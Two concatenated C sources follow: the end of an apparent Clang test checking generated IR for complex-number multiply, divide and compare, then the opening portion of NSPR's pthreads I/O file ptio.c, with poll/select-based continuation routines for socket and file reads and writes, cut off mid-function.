X86: %[[AD:[^ ]+]] = fmul // X86: %[[BC:[^ ]+]] = fmul // X86: %[[RR:[^ ]+]] = fsub x86_fp80 %[[AC]], %[[BD]] // X86: %[[RI:[^ ]+]] = fadd x86_fp80 // X86-DAG: %[[AD]] // X86-DAG: , // X86-DAG: %[[BC]] // X86: fcmp uno x86_fp80 %[[RR]] // X86: fcmp uno x86_fp80 %[[RI]] // X86: call {{.*}} @__mulxc3( // X86: ret // PPC-LABEL: @mul_long_double_cc( // PPC: %[[AC:[^ ]+]] = fmul // PPC: %[[BD:[^ ]+]] = fmul // PPC: %[[AD:[^ ]+]] = fmul // PPC: %[[BC:[^ ]+]] = fmul // PPC: %[[RR:[^ ]+]] = fsub ppc_fp128 %[[AC]], %[[BD]] // PPC: %[[RI:[^ ]+]] = fadd ppc_fp128 // PPC-DAG: %[[AD]] // PPC-DAG: , // PPC-DAG: %[[BC]] // PPC: fcmp uno ppc_fp128 %[[RR]] // PPC: fcmp uno ppc_fp128 %[[RI]] // PPC: call {{.*}} @__multc3( // PPC: ret return a * b; } long double _Complex div_long_double_rr(long double a, long double b) { // X86-LABEL: @div_long_double_rr( // X86: fdiv // X86-NOT: fdiv // X86: ret return a / b; } long double _Complex div_long_double_cr(long double _Complex a, long double b) { // X86-LABEL: @div_long_double_cr( // X86: fdiv // X86: fdiv // X86-NOT: fdiv // X86: ret return a / b; } long double _Complex div_long_double_rc(long double a, long double _Complex b) { // X86-LABEL: @div_long_double_rc( // X86-NOT: fdiv // X86: call {{.*}} @__divxc3( // X86: ret // PPC-LABEL: @div_long_double_rc( // PPC-NOT: fdiv // PPC: call {{.*}} @__divtc3( // PPC: ret // a / b = (A+iB) / (C+iD) = ((AC+BD)/(CC+DD)) + i((BC-AD)/(CC+DD)) // AARCH64-FASTMATH-LABEL: @div_long_double_rc(fp128 %a, [2 x fp128] %b.coerce) // A = a // B = 0 // AARCH64-FASTMATH: [[C:%.*]] = extractvalue [2 x fp128] %b.coerce, 0 // AARCH64-FASTMATH: [[D:%.*]] = extractvalue [2 x fp128] %b.coerce, 1 // // AARCH64-FASTMATH: [[AC:%.*]] = fmul fast fp128 [[C]], %a // BD = 0 // ACpBD = AC // // AARCH64-FASTMATH: [[CC:%.*]] = fmul fast fp128 [[C]], [[C]] // AARCH64-FASTMATH: [[DD:%.*]] = fmul fast fp128 [[D]], [[D]] // AARCH64-FASTMATH: [[CCpDD:%.*]] = fadd fast fp128 [[CC]], [[DD]] // // BC = 0 // AARCH64-FASTMATH: [[NEGA:%.*]] = fsub fast fp128 0xL00000000000000008000000000000000, %a // AARCH64-FASTMATH: [[AD:%.*]] = fmul fast fp128 [[D]], [[NEGA]] // // AARCH64-FASTMATH: fdiv fast fp128 [[AC]], [[CCpDD]] // AARCH64-FASTMATH: fdiv fast fp128 [[AD]], [[CCpDD]] // AARCH64-FASTMATH: ret return a / b; } long double _Complex div_long_double_cc(long double _Complex a, long double _Complex b) { // X86-LABEL: @div_long_double_cc( // X86-NOT: fdiv // X86: call {{.*}} @__divxc3( // X86: ret // PPC-LABEL: @div_long_double_cc( // PPC-NOT: fdiv // PPC: call {{.*}} @__divtc3( // PPC: ret // a / b = (A+iB) / (C+iD) = ((AC+BD)/(CC+DD)) + i((BC-AD)/(CC+DD)) // AARCH64-FASTMATH-LABEL: @div_long_double_cc([2 x fp128] %a.coerce, [2 x fp128] %b.coerce) // AARCH64-FASTMATH: [[A:%.*]] = extractvalue [2 x fp128] %a.coerce, 0 // AARCH64-FASTMATH: [[B:%.*]] = extractvalue [2 x fp128] %a.coerce, 1 // AARCH64-FASTMATH: [[C:%.*]] = extractvalue [2 x fp128] %b.coerce, 0 // AARCH64-FASTMATH: [[D:%.*]] = extractvalue [2 x fp128] %b.coerce, 1 // // AARCH64-FASTMATH: [[AC:%.*]] = fmul fast fp128 [[C]], [[A]] // AARCH64-FASTMATH: [[BD:%.*]] = fmul fast fp128 [[D]], [[B]] // AARCH64-FASTMATH: [[ACpBD:%.*]] = fadd fast fp128 [[AC]], [[BD]] // // AARCH64-FASTMATH: [[CC:%.*]] = fmul fast fp128 [[C]], [[C]] // AARCH64-FASTMATH: [[DD:%.*]] = fmul fast fp128 [[D]], [[D]] // AARCH64-FASTMATH: [[CCpDD:%.*]] = fadd fast fp128 [[CC]], [[DD]] // // AARCH64-FASTMATH: [[BC:%.*]] = fmul fast fp128 [[C]], [[B]] // AARCH64-FASTMATH: [[AD:%.*]] = fmul fast fp128 [[D]], [[A]] // AARCH64-FASTMATH: [[BCmAD:%.*]] = fsub fast fp128 [[BC]], [[AD]] // // AARCH64-FASTMATH: fdiv fast fp128 [[ACpBD]], [[CCpDD]] // AARCH64-FASTMATH: fdiv fast fp128 [[BCmAD]], [[CCpDD]] // AARCH64-FASTMATH: ret return a / b; } // Comparison operators don't rely on library calls or have interseting math // properties, but test that mixed types work correctly here. _Bool eq_float_cr(float _Complex a, float b) { // X86-LABEL: @eq_float_cr( // X86: fcmp oeq // X86: fcmp oeq // X86: and i1 // X86: ret return a == b; } _Bool eq_float_rc(float a, float _Complex b) { // X86-LABEL: @eq_float_rc( // X86: fcmp oeq // X86: fcmp oeq // X86: and i1 // X86: ret return a == b; } _Bool eq_float_cc(float _Complex a, float _Complex b) { // X86-LABEL: @eq_float_cc( // X86: fcmp oeq // X86: fcmp oeq // X86: and i1 // X86: ret return a == b; } _Bool ne_float_cr(float _Complex a, float b) { // X86-LABEL: @ne_float_cr( // X86: fcmp une // X86: fcmp une // X86: or i1 // X86: ret return a != b; } _Bool ne_float_rc(float a, float _Complex b) { // X86-LABEL: @ne_float_rc( // X86: fcmp une // X86: fcmp une // X86: or i1 // X86: ret return a != b; } _Bool ne_float_cc(float _Complex a, float _Complex b) { // X86-LABEL: @ne_float_cc( // X86: fcmp une // X86: fcmp une // X86: or i1 // X86: ret return a != b; } // Check that the libcall will obtain proper calling convention on ARM _Complex double foo(_Complex double a, _Complex double b) { // These functions are not defined as floating point helper functions in // Run-time ABI for the ARM architecture document so they must not always // use the base AAPCS. // ARM-LABEL: @foo( // ARM: call void @__muldc3 // ARMHF-LABEL: @foo( // ARMHF: call { double, double } @__muldc3 // ARM7K-LABEL: @foo( // ARM7K: call { double, double } @__muldc3 return a*b; }
the_stack_data/215538.c
/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* ***** BEGIN LICENSE BLOCK ***** * Version: MPL 1.1/GPL 2.0/LGPL 2.1 * * The contents of this file are subject to the Mozilla Public License Version * 1.1 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * http://www.mozilla.org/MPL/ * * Software distributed under the License is distributed on an "AS IS" basis, * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License * for the specific language governing rights and limitations under the * License. * * The Original Code is the Netscape Portable Runtime (NSPR). * * The Initial Developer of the Original Code is * Netscape Communications Corporation. * Portions created by the Initial Developer are Copyright (C) 1998-2000 * the Initial Developer. All Rights Reserved. * * Contributor(s): * * Alternatively, the contents of this file may be used under the terms of * either the GNU General Public License Version 2 or later (the "GPL"), or * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), * in which case the provisions of the GPL or the LGPL are applicable instead * of those above. If you wish to allow use of your version of this file only * under the terms of either the GPL or the LGPL, and not to allow others to * use your version of this file under the terms of the MPL, indicate your * decision by deleting the provisions above and replace them with the notice * and other provisions required by the GPL or the LGPL. If you do not delete * the provisions above, a recipient may use your version of this file under * the terms of any one of the MPL, the GPL or the LGPL. * * ***** END LICENSE BLOCK ***** */ /* ** File: ptio.c ** Descritpion: Implemenation of I/O methods for pthreads */ #if defined(_PR_PTHREADS) #if defined(_PR_POLL_WITH_SELECT) #if !(defined(HPUX) && defined(_USE_BIG_FDS)) /* set fd limit for select(), before including system header files */ #define FD_SETSIZE (16 * 1024) #endif #endif #include <pthread.h> #include <string.h> /* for memset() */ #include <sys/types.h> #include <dirent.h> #include <fcntl.h> #include <unistd.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/uio.h> #include <sys/file.h> #include <sys/ioctl.h> #if defined(DARWIN) #include <sys/utsname.h> /* for uname */ #endif #if defined(SOLARIS) || defined(UNIXWARE) #include <sys/filio.h> /* to pick up FIONREAD */ #endif #ifdef _PR_POLL_AVAILABLE #include <poll.h> #endif #ifdef AIX /* To pick up sysconf() */ #include <unistd.h> #include <dlfcn.h> /* for dlopen */ #else /* To pick up getrlimit() etc. */ #include <sys/time.h> #include <sys/resource.h> #endif #ifdef SOLARIS /* * Define HAVE_SENDFILEV if the system has the sendfilev() system call. * Code built this way won't run on a system without sendfilev(). * We can define HAVE_SENDFILEV by default when the minimum release * of Solaris that NSPR supports has sendfilev(). */ #ifdef HAVE_SENDFILEV #include <sys/sendfile.h> #define SOLARIS_SENDFILEV(a, b, c, d) sendfilev((a), (b), (c), (d)) #else #include <dlfcn.h> /* for dlopen */ /* * Match the definitions in <sys/sendfile.h>. */ typedef struct sendfilevec { int sfv_fd; /* input fd */ uint_t sfv_flag; /* flags */ off_t sfv_off; /* offset to start reading from */ size_t sfv_len; /* amount of data */ } sendfilevec_t; #define SFV_FD_SELF (-2) /* * extern ssize_t sendfilev(int, const struct sendfilevec *, int, size_t *); */ static ssize_t (*pt_solaris_sendfilev_fptr)() = NULL; #define SOLARIS_SENDFILEV(a, b, c, d) \ (*pt_solaris_sendfilev_fptr)((a), (b), (c), (d)) #endif /* HAVE_SENDFILEV */ #endif /* SOLARIS */ /* * The send_file() system call is available in AIX 4.3.2 or later. * If this file is compiled on an older AIX system, it attempts to * look up the send_file symbol at run time to determine whether * we can use the faster PR_SendFile/PR_TransmitFile implementation based on * send_file(). On AIX 4.3.2 or later, we can safely skip this * runtime function dispatching and just use the send_file based * implementation. */ #ifdef AIX #ifdef SF_CLOSE #define HAVE_SEND_FILE #endif #ifdef HAVE_SEND_FILE #define AIX_SEND_FILE(a, b, c) send_file(a, b, c) #else /* HAVE_SEND_FILE */ /* * The following definitions match those in <sys/socket.h> * on AIX 4.3.2. */ /* * Structure for the send_file() system call */ struct sf_parms { /* --------- header parms ---------- */ void *header_data; /* Input/Output. Points to header buf */ uint_t header_length; /* Input/Output. Length of the header */ /* --------- file parms ------------ */ int file_descriptor; /* Input. File descriptor of the file */ unsigned long long file_size; /* Output. Size of the file */ unsigned long long file_offset; /* Input/Output. Starting offset */ long long file_bytes; /* Input/Output. no. of bytes to send */ /* --------- trailer parms --------- */ void *trailer_data; /* Input/Output. Points to trailer buf */ uint_t trailer_length; /* Input/Output. Length of the trailer */ /* --------- return info ----------- */ unsigned long long bytes_sent; /* Output. no. of bytes sent */ }; /* * Flags for the send_file() system call */ #define SF_CLOSE 0x00000001 /* close the socket after completion */ #define SF_REUSE 0x00000002 /* reuse socket. not supported */ #define SF_DONT_CACHE 0x00000004 /* don't apply network buffer cache */ #define SF_SYNC_CACHE 0x00000008 /* sync/update network buffer cache */ /* * prototype: size_t send_file(int *, struct sf_parms *, uint_t); */ static ssize_t (*pt_aix_sendfile_fptr)() = NULL; #define AIX_SEND_FILE(a, b, c) (*pt_aix_sendfile_fptr)(a, b, c) #endif /* HAVE_SEND_FILE */ #endif /* AIX */ #ifdef LINUX #include <sys/sendfile.h> #endif #include "primpl.h" #ifdef HAVE_NETINET_TCP_H #include <netinet/tcp.h> /* TCP_NODELAY, TCP_MAXSEG */ #endif #ifdef LINUX /* TCP_CORK is not defined in <netinet/tcp.h> on Red Hat Linux 6.0 */ #ifndef TCP_CORK #define TCP_CORK 3 #endif #endif #ifdef _PR_IPV6_V6ONLY_PROBE static PRBool _pr_ipv6_v6only_on_by_default; #endif #if (defined(HPUX) && !defined(HPUX10_30) && !defined(HPUX11)) #define _PRSelectFdSetArg_t int * #elif defined(AIX4_1) #define _PRSelectFdSetArg_t void * #elif defined(IRIX) || (defined(AIX) && !defined(AIX4_1)) \ || defined(OSF1) || defined(SOLARIS) \ || defined(HPUX10_30) || defined(HPUX11) \ || defined(LINUX) || defined(__GNU__) || defined(__GLIBC__) \ || defined(FREEBSD) || defined(NETBSD) || defined(OPENBSD) \ || defined(BSDI) || defined(NTO) || defined(DARWIN) \ || defined(UNIXWARE) || defined(RISCOS) || defined(SYMBIAN) #define _PRSelectFdSetArg_t fd_set * #else #error "Cannot determine architecture" #endif static PRFileDesc *pt_SetMethods( PRIntn osfd, PRDescType type, PRBool isAcceptedSocket, PRBool imported); static PRLock *_pr_flock_lock; /* For PR_LockFile() etc. */ static PRCondVar *_pr_flock_cv; /* For PR_LockFile() etc. */ static PRLock *_pr_rename_lock; /* For PR_Rename() */ /**************************************************************************/ /* These two functions are only used in assertions. */ #if defined(DEBUG) PRBool IsValidNetAddr(const PRNetAddr *addr) { if ((addr != NULL) && (addr->raw.family != AF_UNIX) && (addr->raw.family != PR_AF_INET6) && (addr->raw.family != AF_INET)) { return PR_FALSE; } return PR_TRUE; } static PRBool IsValidNetAddrLen(const PRNetAddr *addr, PRInt32 addr_len) { /* * The definition of the length of a Unix domain socket address * is not uniform, so we don't check it. */ if ((addr != NULL) && (addr->raw.family != AF_UNIX) && (PR_NETADDR_SIZE(addr) != addr_len)) { #if defined(LINUX) && __GLIBC__ == 2 && __GLIBC_MINOR__ == 1 /* * In glibc 2.1, struct sockaddr_in6 is 24 bytes. In glibc 2.2 * and in the 2.4 kernel, struct sockaddr_in6 has the scope_id * field and is 28 bytes. It is possible for socket functions * to return an addr_len greater than sizeof(struct sockaddr_in6). * We need to allow that. (Bugzilla bug #77264) */ if ((PR_AF_INET6 == addr->raw.family) && (sizeof(addr->ipv6) == addr_len)) { return PR_TRUE; } #endif return PR_FALSE; } return PR_TRUE; } #endif /* DEBUG */ /*****************************************************************************/ /************************* I/O Continuation machinery ************************/ /*****************************************************************************/ /* * The polling interval defines the maximum amount of time that a thread * might hang up before an interrupt is noticed. */ #define PT_DEFAULT_POLL_MSEC 5000 #if defined(_PR_POLL_WITH_SELECT) #define PT_DEFAULT_SELECT_SEC (PT_DEFAULT_POLL_MSEC/PR_MSEC_PER_SEC) #define PT_DEFAULT_SELECT_USEC \ ((PT_DEFAULT_POLL_MSEC % PR_MSEC_PER_SEC) * PR_USEC_PER_MSEC) #endif /* * pt_SockLen is the type for the length of a socket address * structure, used in the address length argument to bind, * connect, accept, getsockname, getpeername, etc. Posix.1g * defines this type as socklen_t. It is size_t or int on * most current systems. */ #if defined(HAVE_SOCKLEN_T) \ || (defined(__GLIBC__) && __GLIBC__ >= 2) typedef socklen_t pt_SockLen; #elif (defined(AIX) && !defined(AIX4_1)) typedef PRSize pt_SockLen; #else typedef PRIntn pt_SockLen; #endif typedef struct pt_Continuation pt_Continuation; typedef PRBool (*ContinuationFn)(pt_Continuation *op, PRInt16 revents); typedef enum pr_ContuationStatus { pt_continuation_pending, pt_continuation_done } pr_ContuationStatus; struct pt_Continuation { /* The building of the continuation operation */ ContinuationFn function; /* what function to continue */ union { PRIntn osfd; } arg1; /* #1 - the op's fd */ union { void* buffer; } arg2; /* #2 - primary transfer buffer */ union { PRSize amount; /* #3 - size of 'buffer', or */ pt_SockLen *addr_len; /* - length of address */ #ifdef HPUX11 /* * For sendfile() */ struct file_spec { off_t offset; /* offset in file to send */ size_t nbytes; /* length of file data to send */ size_t st_size; /* file size */ } file_spec; #endif } arg3; union { PRIntn flags; } arg4; /* #4 - read/write flags */ union { PRNetAddr *addr; } arg5; /* #5 - send/recv address */ #ifdef HPUX11 /* * For sendfile() */ int filedesc; /* descriptor of file to send */ int nbytes_to_send; /* size of header and file */ #endif /* HPUX11 */ #ifdef SOLARIS /* * For sendfilev() */ int nbytes_to_send; /* size of header and file */ #endif /* SOLARIS */ #ifdef LINUX /* * For sendfile() */ int in_fd; /* descriptor of file to send */ off_t offset; size_t count; #endif /* LINUX */ PRIntervalTime timeout; /* client (relative) timeout */ PRInt16 event; /* flags for poll()'s events */ /* ** The representation and notification of the results of the operation. ** These function can either return an int return code or a pointer to ** some object. */ union { PRSize code; void *object; } result; PRIntn syserrno; /* in case it failed, why (errno) */ pr_ContuationStatus status; /* the status of the operation */ }; #if defined(DEBUG) PTDebug pt_debug; /* this is shared between several modules */ PR_IMPLEMENT(void) PT_FPrintStats(PRFileDesc *debug_out, const char *msg) { PTDebug stats; char buffer[100]; PRExplodedTime tod; PRInt64 elapsed, aMil; stats = pt_debug; /* a copy */ PR_ExplodeTime(stats.timeStarted, PR_LocalTimeParameters, &tod); (void)PR_FormatTime(buffer, sizeof(buffer), "%T", &tod); LL_SUB(elapsed, PR_Now(), stats.timeStarted); LL_I2L(aMil, 1000000); LL_DIV(elapsed, elapsed, aMil); if (NULL != msg) PR_fprintf(debug_out, "%s", msg); PR_fprintf( debug_out, "\tstarted: %s[%lld]\n", buffer, elapsed); PR_fprintf( debug_out, "\tlocks [created: %u, destroyed: %u]\n", stats.locks_created, stats.locks_destroyed); PR_fprintf( debug_out, "\tlocks [acquired: %u, released: %u]\n", stats.locks_acquired, stats.locks_released); PR_fprintf( debug_out, "\tcvars [created: %u, destroyed: %u]\n", stats.cvars_created, stats.cvars_destroyed); PR_fprintf( debug_out, "\tcvars [notified: %u, delayed_delete: %u]\n", stats.cvars_notified, stats.delayed_cv_deletes); } /* PT_FPrintStats */ #else PR_IMPLEMENT(void) PT_FPrintStats(PRFileDesc *debug_out, const char *msg) { /* do nothing */ } /* PT_FPrintStats */ #endif /* DEBUG */ #if defined(_PR_POLL_WITH_SELECT) /* * OSF1 and HPUX report the POLLHUP event for a socket when the * shutdown(SHUT_WR) operation is called for the remote end, even though * the socket is still writeable. Use select(), instead of poll(), to * workaround this problem. */ static void pt_poll_now_with_select(pt_Continuation *op) { PRInt32 msecs; fd_set rd, wr, *rdp, *wrp; struct timeval tv; PRIntervalTime epoch, now, elapsed, remaining; PRBool wait_for_remaining; PRThread *self = PR_GetCurrentThread(); PR_ASSERT(PR_INTERVAL_NO_WAIT != op->timeout); PR_ASSERT(op->arg1.osfd < FD_SETSIZE); switch (op->timeout) { case PR_INTERVAL_NO_TIMEOUT: tv.tv_sec = PT_DEFAULT_SELECT_SEC; tv.tv_usec = PT_DEFAULT_SELECT_USEC; do { PRIntn rv; if (op->event & POLLIN) { FD_ZERO(&rd); FD_SET(op->arg1.osfd, &rd); rdp = &rd; } else rdp = NULL; if (op->event & POLLOUT) { FD_ZERO(&wr); FD_SET(op->arg1.osfd, &wr); wrp = &wr; } else wrp = NULL; rv = select(op->arg1.osfd + 1, rdp, wrp, NULL, &tv); if (_PT_THREAD_INTERRUPTED(self)) { self->state &= ~PT_THREAD_ABORTED; op->result.code = -1; op->syserrno = EINTR; op->status = pt_continuation_done; return; } if ((-1 == rv) && ((errno == EINTR) || (errno == EAGAIN))) continue; /* go around the loop again */ if (rv > 0) { PRInt16 revents = 0; if ((op->event & POLLIN) && FD_ISSET(op->arg1.osfd, &rd)) revents |= POLLIN; if ((op->event & POLLOUT) && FD_ISSET(op->arg1.osfd, &wr)) revents |= POLLOUT; if (op->function(op, revents)) op->status = pt_continuation_done; } else if (rv == -1) { op->result.code = -1; op->syserrno = errno; op->status = pt_continuation_done; } /* else, select timed out */ } while (pt_continuation_done != op->status); break; default: now = epoch = PR_IntervalNow(); remaining = op->timeout; do { PRIntn rv; if (op->event & POLLIN) { FD_ZERO(&rd); FD_SET(op->arg1.osfd, &rd); rdp = &rd; } else rdp = NULL; if (op->event & POLLOUT) { FD_ZERO(&wr); FD_SET(op->arg1.osfd, &wr); wrp = &wr; } else wrp = NULL; wait_for_remaining = PR_TRUE; msecs = (PRInt32)PR_IntervalToMilliseconds(remaining); if (msecs > PT_DEFAULT_POLL_MSEC) { wait_for_remaining = PR_FALSE; msecs = PT_DEFAULT_POLL_MSEC; } tv.tv_sec = msecs/PR_MSEC_PER_SEC; tv.tv_usec = (msecs % PR_MSEC_PER_SEC) * PR_USEC_PER_MSEC; rv = select(op->arg1.osfd + 1, rdp, wrp, NULL, &tv); if (_PT_THREAD_INTERRUPTED(self)) { self->state &= ~PT_THREAD_ABORTED; op->result.code = -1; op->syserrno = EINTR; op->status = pt_continuation_done; return; } if (rv > 0) { PRInt16 revents = 0; if ((op->event & POLLIN) && FD_ISSET(op->arg1.osfd, &rd)) revents |= POLLIN; if ((op->event & POLLOUT) && FD_ISSET(op->arg1.osfd, &wr)) revents |= POLLOUT; if (op->function(op, revents)) op->status = pt_continuation_done; } else if ((rv == 0) || ((errno == EINTR) || (errno == EAGAIN))) { if (rv == 0) { /* select timed out */ if (wait_for_remaining) now += remaining; else now += PR_MillisecondsToInterval(msecs); } else now = PR_IntervalNow(); elapsed = (PRIntervalTime) (now - epoch); if (elapsed >= op->timeout) { op->result.code = -1; op->syserrno = ETIMEDOUT; op->status = pt_continuation_done; } else remaining = op->timeout - elapsed; } else { op->result.code = -1; op->syserrno = errno; op->status = pt_continuation_done; } } while (pt_continuation_done != op->status); break; } } /* pt_poll_now_with_select */ #endif /* _PR_POLL_WITH_SELECT */ static void pt_poll_now(pt_Continuation *op) { PRInt32 msecs; PRIntervalTime epoch, now, elapsed, remaining; PRBool wait_for_remaining; PRThread *self = PR_GetCurrentThread(); PR_ASSERT(PR_INTERVAL_NO_WAIT != op->timeout); #if defined (_PR_POLL_WITH_SELECT) /* * If the fd is small enough call the select-based poll operation */ if (op->arg1.osfd < FD_SETSIZE) { pt_poll_now_with_select(op); return; } #endif switch (op->timeout) { case PR_INTERVAL_NO_TIMEOUT: msecs = PT_DEFAULT_POLL_MSEC; do { PRIntn rv; struct pollfd tmp_pfd; tmp_pfd.revents = 0; tmp_pfd.fd = op->arg1.osfd; tmp_pfd.events = op->event; rv = poll(&tmp_pfd, 1, msecs); if (_PT_THREAD_INTERRUPTED(self)) { self->state &= ~PT_THREAD_ABORTED; op->result.code = -1; op->syserrno = EINTR; op->status = pt_continuation_done; return; } if ((-1 == rv) && ((errno == EINTR) || (errno == EAGAIN))) continue; /* go around the loop again */ if (rv > 0) { PRInt16 events = tmp_pfd.events; PRInt16 revents = tmp_pfd.revents; if ((revents & POLLNVAL) /* busted in all cases */ || ((events & POLLOUT) && (revents & POLLHUP))) /* write op & hup */ { op->result.code = -1; if (POLLNVAL & revents) op->syserrno = EBADF; else if (POLLHUP & revents) op->syserrno = EPIPE; op->status = pt_continuation_done; } else { if (op->function(op, revents)) op->status = pt_continuation_done; } } else if (rv == -1) { op->result.code = -1; op->syserrno = errno; op->status = pt_continuation_done; } /* else, poll timed out */ } while (pt_continuation_done != op->status); break; default: now = epoch = PR_IntervalNow(); remaining = op->timeout; do { PRIntn rv; struct pollfd tmp_pfd; tmp_pfd.revents = 0; tmp_pfd.fd = op->arg1.osfd; tmp_pfd.events = op->event; wait_for_remaining = PR_TRUE; msecs = (PRInt32)PR_IntervalToMilliseconds(remaining); if (msecs > PT_DEFAULT_POLL_MSEC) { wait_for_remaining = PR_FALSE; msecs = PT_DEFAULT_POLL_MSEC; } rv = poll(&tmp_pfd, 1, msecs); if (_PT_THREAD_INTERRUPTED(self)) { self->state &= ~PT_THREAD_ABORTED; op->result.code = -1; op->syserrno = EINTR; op->status = pt_continuation_done; return; } if (rv > 0) { PRInt16 events = tmp_pfd.events; PRInt16 revents = tmp_pfd.revents; if ((revents & POLLNVAL) /* busted in all cases */ || ((events & POLLOUT) && (revents & POLLHUP))) /* write op & hup */ { op->result.code = -1; if (POLLNVAL & revents) op->syserrno = EBADF; else if (POLLHUP & revents) op->syserrno = EPIPE; op->status = pt_continuation_done; } else { if (op->function(op, revents)) { op->status = pt_continuation_done; } } } else if ((rv == 0) || ((errno == EINTR) || (errno == EAGAIN))) { if (rv == 0) /* poll timed out */ { if (wait_for_remaining) now += remaining; else now += PR_MillisecondsToInterval(msecs); } else now = PR_IntervalNow(); elapsed = (PRIntervalTime) (now - epoch); if (elapsed >= op->timeout) { op->result.code = -1; op->syserrno = ETIMEDOUT; op->status = pt_continuation_done; } else remaining = op->timeout - elapsed; } else { op->result.code = -1; op->syserrno = errno; op->status = pt_continuation_done; } } while (pt_continuation_done != op->status); break; } } /* pt_poll_now */ static PRIntn pt_Continue(pt_Continuation *op) { op->status = pt_continuation_pending; /* set default value */ /* * let each thread call poll directly */ pt_poll_now(op); PR_ASSERT(pt_continuation_done == op->status); return op->result.code; } /* pt_Continue */ /*****************************************************************************/ /*********************** specific continuation functions *********************/ /*****************************************************************************/ static PRBool pt_connect_cont(pt_Continuation *op, PRInt16 revents) { op->syserrno = _MD_unix_get_nonblocking_connect_error(op->arg1.osfd); if (op->syserrno != 0) { op->result.code = -1; } else { op->result.code = 0; } return PR_TRUE; /* this one is cooked */ } /* pt_connect_cont */ static PRBool pt_accept_cont(pt_Continuation *op, PRInt16 revents) { op->syserrno = 0; op->result.code = accept( op->arg1.osfd, op->arg2.buffer, op->arg3.addr_len); if (-1 == op->result.code) { op->syserrno = errno; if (EWOULDBLOCK == errno || EAGAIN == errno || ECONNABORTED == errno) return PR_FALSE; /* do nothing - this one ain't finished */ } return PR_TRUE; } /* pt_accept_cont */ static PRBool pt_read_cont(pt_Continuation *op, PRInt16 revents) { /* * Any number of bytes will complete the operation. It need * not (and probably will not) satisfy the request. The only * error we continue is EWOULDBLOCK|EAGAIN. */ op->result.code = read( op->arg1.osfd, op->arg2.buffer, op->arg3.amount); op->syserrno = errno; return ((-1 == op->result.code) && (EWOULDBLOCK == op->syserrno || EAGAIN == op->syserrno)) ? PR_FALSE : PR_TRUE; } /* pt_read_cont */ static PRBool pt_recv_cont(pt_Continuation *op, PRInt16 revents) { /* * Any number of bytes will complete the operation. It need * not (and probably will not) satisfy the request. The only * error we continue is EWOULDBLOCK|EAGAIN. */ #if defined(SOLARIS) if (0 == op->arg4.flags) op->result.code = read( op->arg1.osfd, op->arg2.buffer, op->arg3.amount); else op->result.code = recv( op->arg1.osfd, op->arg2.buffer, op->arg3.amount, op->arg4.flags); #else op->result.code = recv( op->arg1.osfd, op->arg2.buffer, op->arg3.amount, op->arg4.flags); #endif op->syserrno = errno; return ((-1 == op->result.code) && (EWOULDBLOCK == op->syserrno || EAGAIN == op->syserrno)) ? PR_FALSE : PR_TRUE; } /* pt_recv_cont */ static PRBool pt_send_cont(pt_Continuation *op, PRInt16 revents) { PRIntn bytes; #if defined(SOLARIS) PRInt32 tmp_amount = op->arg3.amount; #endif /* * We want to write the entire amount out, no matter how many * tries it takes. Keep advancing the buffer and the decrementing * the amount until the amount goes away. Return the total bytes * (which should be the original amount) when finished (or an * error). */ #if defined(SOLARIS) retry: bytes = write(op->arg1.osfd, op->arg2.buffer, tmp_amount); #else bytes = send( op->arg1.osfd, op->arg2.buffer, op->arg3.amount, op->arg4.flags); #endif op->syserrno = errno; #if defined(SOLARIS) /* * The write system call has been reported to return the ERANGE error * on occasion. Try to write in smaller chunks to workaround this bug. */ if ((bytes == -1) && (op->syserrno == ERANGE)) { if (tmp_amount > 1) { tmp_amount = tmp_amount/2; /* half the bytes */ goto retry; } } #endif if (bytes >= 0) /* this is progress */ { char *bp = (char*)op->arg2.buffer; bp += bytes; /* adjust the buffer pointer */ op->arg2.buffer = bp; op->result.code += bytes; /* accumulate the number sent */ op->arg3.amount -= bytes; /* and reduce the required count */ return (0 == op->arg3.amount) ? PR_TRUE : PR_FALSE; } else if ((EWOULDBLOCK != op->syserrno) && (EAGAIN != op->syserrno)) { op->result.code = -1; return PR_TRUE; } else return PR_FALSE; } /* pt_send_cont */ static PRBool pt_write_cont(pt_Continuation *op, PRInt16 revents) { PRIntn bytes; /* * We want to write the entire amount out, no matter how many * tries it takes. Keep advancing the buffer and the decrementing * the amount until the amount goes away. Return the total bytes * (which should be the original amount) when finished (or an * error). */ bytes = write(op->arg1.osfd, op->arg2.buffer, op->arg3.amount); op->syserrno = errno; if (bytes >= 0) /* this is progress */ { char *bp = (char*)op->arg2.buffer; bp += bytes; /* adjust the buffer pointer */ op->arg2.buffer = bp; op->result.code += bytes; /* accumulate the number sent */ op->arg3.amount -= bytes; /* and reduce the required count */ return (0 == op->arg3.amount) ? PR_TRUE : PR_FALSE; } else if ((EWOULDBLOCK != op->syserrno) && (EAGAIN != op->syserrno)) { op->result.code = -1; return PR_TRUE; } else return PR_FALSE; } /* pt_write_cont */ static PRBool pt_writev_cont(pt_Continuation *op, PRInt16 revents) { PRIntn bytes; struct iovec *iov = (struct iovec*)op->arg2.buffer; /* * Same rules as write, but continuing seems to be a bit more * complicated. As the number of bytes sent grows, we have to * redefine the vector we're pointing at. We might have to * modify an individual vector parms or we might have to eliminate * a pair altogether. */ bytes = writev(op->arg1.osfd, iov, op->arg3.amount); op->syserrno = errno; if (bytes >= 0) /* this is progress */ { PRIntn iov_index; op->result.code += bytes; /* accumulate the number sent */ for (iov_index = 0; iov_index < op->arg3.amount; ++iov_index) { /* how much progress did we make in the i/o vector? */ if (bytes < iov[iov_index].iov_len) { /* this element's not done yet */ char **bp = (char**)&(iov[iov_index].iov_base); iov[iov_index].iov_len -= bytes; /* there's that much left */ *bp += bytes; /* starting there */ break; /* go off and do that */ } bytes -= iov[iov_index].iov_len; /* that element's consumed */ } op->arg2.buffer = &iov[iov_index]; /* new start of array */ op->arg3.amount -= iov_index; /* and array length */ return (0 == op->arg3.amount) ? PR_TRUE : PR_FALSE; } else if ((EWOULDBLOCK != op->syserrno) && (EAGAIN != op->syserrno)) { op->result.code = -1; return PR_TRUE; } else return PR_FALSE; } /* pt_writev_cont */ static PRBool pt_sendto_cont(pt_Continuation *op, PRInt16 revents) { PRIntn bytes = sendto( op->arg1.osfd, op->arg2.buffer, op->arg3.amount, op->arg4.flags, (struct sockaddr*)op->arg5.addr, PR_NETADDR_SIZE(op->arg5.addr)); op->syserrno = errno; if (bytes >= 0) /* this is progress */ { char *bp = 